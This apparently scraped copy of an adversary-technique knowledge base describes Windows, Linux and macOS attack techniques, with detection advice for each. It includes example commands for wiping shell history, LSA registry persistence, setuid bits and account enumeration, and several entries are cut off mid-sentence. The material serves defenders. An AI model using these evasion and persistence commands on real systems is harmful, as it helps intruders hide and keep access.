Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command.Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs
Links |
DLL Injection
DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process’s memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading.PowerShell with tools such as PowerSploit,[[Citation: Powersploit]] so additional PowerShell monitoring may be required to cover known implementations of this behavior.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: API monitoring, Windows Registry, File monitoring, Process monitoring
Effective Permissions: User, Administrator, SYSTEM
Links |
http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces |
Hidden Files and Directories
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).
===Windows===
Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.
===Linux/Mac===
Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name [[Citation: Sofacy Komplex Trojan]][[Citation: Antiquated Mac Malware]]. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.
===Mac===
Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app[[Citation: WireLurker]]. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Authentication Package
Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.[[Citation: MSDN Authentication Packages]]
Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.
Detection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: DLL monitoring, Windows Registry, Loaded DLLs
Links |
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Multilayer Encryption
An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
Detection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels.Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]
In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring
Component Firmware
Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Links |
Cron Job
Per Apple’s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron[[Citation: AppleDocs Scheduling Timed Jobs]].
===Launchd===
Each Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values [[Citation: AppleDocs Scheduling Timed Jobs]]. This only works on macOS and OS X.
===cron===
System-wide cron jobs are installed by modifying <code>/etc/crontab</code> while per-user cron jobs are installed using crontab with specifically formatted crontab files [[Citation: AppleDocs Scheduling Timed Jobs]]. This works on Mac and Linux systems.
Both methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence[[Citation: Janicab]][[Citation: Methods of Mac Malware Persistence]][[Citation: Malware Persistence on OS X]], to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.
Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.
Platforms: Linux, MacOS
Data Sources: File monitoring, Process Monitoring
Links |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Windows Management Instrumentation Event Subscription
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.[[Citation: Dell WMI Persistence]] Examples of events that may be subscribed to are the wall clock time or the computer’s uptime.[[Citation: Kazanciyan 2014]] Several threat groups have reportedly used this technique to maintain persistence.[[Citation: Mandiant M-Trends 2015]]
Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.[[Citation: TechNet Autoruns]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: WMI Objects
Links |
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf |
Disabling Security Tools
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: API monitoring, File monitoring, Services, Windows Registry, Process command-line parameters, Anti-virus
Links |
Peripheral Device Discovery
Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Links |
Data Compressed
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.
If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata
Links |
Account Discovery
Adversaries may attempt to get a listing of local system or domain accounts.
===Windows===
Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.
===Mac===
On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.
===Linux===
On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.
Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: API monitoring, Process monitoring, Process command-line parameters
Links |
Pass the Hash
Pass the hash (PtH)[[Citation: Aorato PTH]] is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a [[Credential Access]] technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.[[Citation: NSA Spotting]]
Detection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs
Links |
Clear Command History
macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they’ve done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user’s home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.
Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user’s <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.
Platforms: Linux, MacOS, OS X
Data Sources: Authentication logs, File monitoring
Links |
Timestomp
Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.[[Citation: WindowsIR Anti-Forensic Techniques]]
Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified.[[Citation: WindowsIR Anti-Forensic Techniques]] It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html |
Setuid and Setgid
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.
An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.
Detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Effective Permissions: Administrator, root
Links |
Brute Force
Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.
Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.
Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Authentication logs
Contributors: John Strand
Links |
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf |
Modify Registry
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Reg may be used for local or remote Registry modification.Valid Accounts are required, along with access to the remote system’s Windows Admin Shares for RPC communication.
Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters
Links |
Screen Capture
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.
===Mac===
On OSX, the native command <code>screencapture</code> is used to capture screenshots.
===Linux===
On Linux, there is the native command <code>xwd</code>.[[Citation: Antiquated Mac Malware]]
Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: API monitoring, Process monitoring, File monitoring
Links |
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
AppleScript
macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they’re already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [[Citation: Macro Malware Targets Macs]]. Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.
Detection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.
Platforms: MacOS, OS X
Data Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters
Links |
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ |
Launchctl
Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made [[Citation: Sofacy Komplex Trojan]]. Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.
Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
Detection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.
Platforms: MacOS, OS X
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Links |
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
Indicator Removal from Tools
If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.
A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.
Detection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata
Links |
Dylib Hijacking
macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.
A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself[[Citation: Writing Bad Malware for OSX]][[Citation: Malware Persistence on OS X]]. If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.
Detection: Objective-See’s Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.
Platforms: MacOS, OS X
Data Sources: File monitoring
Effective Permissions: Administrator, root
Links |
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
Change Default File Association
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.[[Citation: Microsoft Change Default Programs]][[Citation: Microsoft File Handlers]] Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
Detection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.
User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user’s preference will occur under this entry’s subkeys.
Also look for abnormal process call trees for execution of other commands that could relate to actions or other techniques.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, Process monitoring, Process command-line parameters
Contributors: Stefan Kanthak
Links |
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs |
Space after Filename
Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed[[Citation: Mac Backdoors are back]].
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
Detection: It’s not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user’s perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring, Process Monitoring
Links |
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ |
Email Collection
Adversaries may target user email to collect sensitive information from a target.
Files containing email data can be acquired from a user’s system, such as Outlook storage or cache files .pst and .ost.
Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network.
Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.
Detection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.
File access of local system email files for Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs, File monitoring, Process monitoring, Process use of network
Links |
System Information Discovery
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
===Windows===
Example commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.
===Mac===
On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Process monitoring, Process command-line parameters
Links |
System Network Connections Discovery
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
===Windows===
Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net.
===Mac and Linux ===
In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Process monitoring, Process command-line parameters
Links |
Two-Factor Authentication Interception
Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.
If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.[[Citation: Mandiant M Trends 2011]]
Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.[[Citation: Operation Emmental]]
Other hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.
Detection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Contributors: John Lambert, Microsoft Threat Intelligence Center
Links |
Execution through API
Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.[[Citation: Microsoft CreateProcess]]
Additional Windows API calls that can be used to execute binaries include:[[Citation: Kanthak Verifier]]
*CreateProcessA() and CreateProcessW(), *CreateProcessAsUserA() and CreateProcessAsUserW(), *CreateProcessInternalA() and CreateProcessInternalW(), *CreateProcessWithLogonW(), CreateProcessWithTokenW(), *LoadLibraryA() and LoadLibraryW(), *LoadLibraryExA() and LoadLibraryExW(), *LoadModule(), *LoadPackagedLibrary(), *WinExec(), *ShellExecuteA() and ShellExecuteW(), *ShellExecuteExA() and ShellExecuteExW()
